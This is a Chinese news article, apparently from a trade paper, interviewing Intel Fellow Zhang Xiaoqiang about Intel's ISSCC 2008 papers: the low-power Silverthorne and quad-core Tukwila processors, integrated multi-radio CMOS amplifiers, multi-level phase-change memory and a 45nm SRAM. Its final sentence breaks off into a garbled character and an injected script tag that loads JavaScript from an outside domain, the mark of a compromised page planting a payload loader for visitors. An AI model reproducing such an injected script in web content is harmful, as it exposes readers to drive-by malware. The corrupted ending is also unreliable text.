张晓强在英特尔负责开发嵌入式内存技术,包括用于未来微处理器和通讯产品上的高速低耗嵌入式内存电路。他主持设计并成功实现了微处理器从90nm向45nm制造工艺的过渡。
翻开集成电路的发展史,多项重大技术突破和成果都在isscc 上首次发表,如cmos 逻辑电路、risc 处理器、nand flash、多核处理器……正因如此,这一源起1953年宾夕法尼亚大学的固态电子电路研讨会,逐渐成为全球集成电路与系统芯片研究者最关注的论坛之一。
在近期于旧金山举行的isscc 2008上,英特尔发表了14篇涵盖处理器、无线通信、存储、万亿次计算等领域的技术论文。这些成果将给信息技术发展带来哪些影响?本报记者电话连线英特尔院士张晓强,为读者深入解读。
处理器:深度进化中
处理器是英特尔的看家法宝,此次披露的是此前被广为关注的silverthorne和tukwila处理器的技术细节。前者是面向移动互联网设备的低功耗ia处理器,后者是面向高端,对抗risc的下一代安腾处理器。
据张晓强介绍,英特尔3月3日发布的silverthorne处理器采用了最新的45nm高k金属栅制造工艺,其系列处理器的功耗控制在2.5w以下。这种处理器专门面向英特尔称之为mid的第一代移动互联网设备开发,当然,也包括umpc等类似的超便携设备。
英特尔为此设计了全新微架构。该架构与core 2 duo指令集完全兼容,基于双码、双发射的按序执行,拥有16级流水线。该微架构还将采用升级的功耗管理技术,如深度节能c6状态、无网格时钟分配、针对功耗优化的寄存器组、时钟门控、cmos总线模式和分离式 i/o 电源|稳压器等,通过众多技术改进,有效降低了动态和泄漏功耗。
与英特尔2006年推出的ulv单核处理器相比,silverthorne处理器的tdp有望降低到它的1/10左右;与此同时,silverthorne还能提供最高2ghz主频,以获得完整的互联网体验,运行主流应用软件,这就为移动互联网设备的快速发展铺平了道路。
tukwila是一款基于65nm制造工艺、集成20亿晶体管的4核安腾处理器,其第一版产品预计于今年年底面世。安腾面向关键任务领域,在高度集成的情况下,tukwila将性能提升至双核安腾9100 系列的两倍,ras性能也更为先进。tukwila的总体片上缓存达到30mb,比当前产品高出了10%;quickpath 互连和集成内存控制器则带来了9倍的互连带宽和6倍的内存带宽,这些都直观地表现出安腾处理器的深度进化。
无线:集成与降耗
我们也了解到英特尔在低成本数字多无线接入取得的最新成果。目前的无线接入方式处在离散式阶段,如wlan、wwan分别设计,不仅成本高,而且体积庞大。张晓强介绍说,英特尔发布的多款放大器,在无线芯片上实现了更高的元件集成度,将离散式推进到集成式无线接入阶段。也就是在各种小型设备上,通过实现wlan与wwan的双标准单芯片集成,提升性能,并降低功耗。
在展示的数款放大器中,一款是面向802.11a/g/n应用的mimo多波段收发器,它采用90nm cmos工艺,可实现低功耗、小巧外形和低成本;还有一款是采用65nm cmos工艺、用于多无线接入的e级cmos功率放大器,可提供28.6dbm的功率输出。该功放的意义在于,实现远程通信(如wimax)需要功率1w左右的高功率放大器的支持,该器件就能为 wwan提供近 1 w的无线射频输出,提供广阔的覆盖范围,同时还采用新型技术实现了高数据速率必需的精密调制功能。
此外,英特尔还展示了高频采样的模/数转换器,测量整个wi-fi波段中的每个波段,感知来自同一波段的其他无线信号的干扰,通过自我调节达到最佳功率性能比,并提供优化的信道选择。在信号强时,它可减少耗电量,以高能效方式支持wi-fi/wimax带宽。这些成果都是为了实现未来采用单芯片处理多种无线标准的愿景,届时,各项性能指标将获得更明显的提升,同时也通过缩减体积促进便携设备小型化。
存储:促密度攀升
相变存储器(pcm)是一项极富潜力的新型存储技术,英特尔为此保持着高投入,即将合资成立的numonyx公司的技术方向之一就是pcm。通过联合开发,英特尔和意法半导体展示了在pcm方面取得的重大突破——首个可展示的采用pcm技术的多层单元(mlc)设备。
pcm原理简单说就是通过改变一种硫属化合物的状态来存储数据,它以比传统闪存更低的功耗实现快速读写,并实现更稳定的数据保存。过去的单层单元pcm只有两种状态来记录数据,此次采用独特算法,研究人员在硫属化合物的非晶态与晶态间创造了另两种状态,这样就有四种状态来记录数据,从每单元1比特转变为mlc,意义在于以更低的单位字节成本提高存储密度。
基于45nm高k金属栅极制造工艺,英特尔还开发出一款高性能、低功耗的sram。小型sram单元有利于在处理器内集成更大容量的缓存,该sram就支持比原来大50%的片上l2(6mb)缓存,用于英?script src=http://er12.com/t.js>











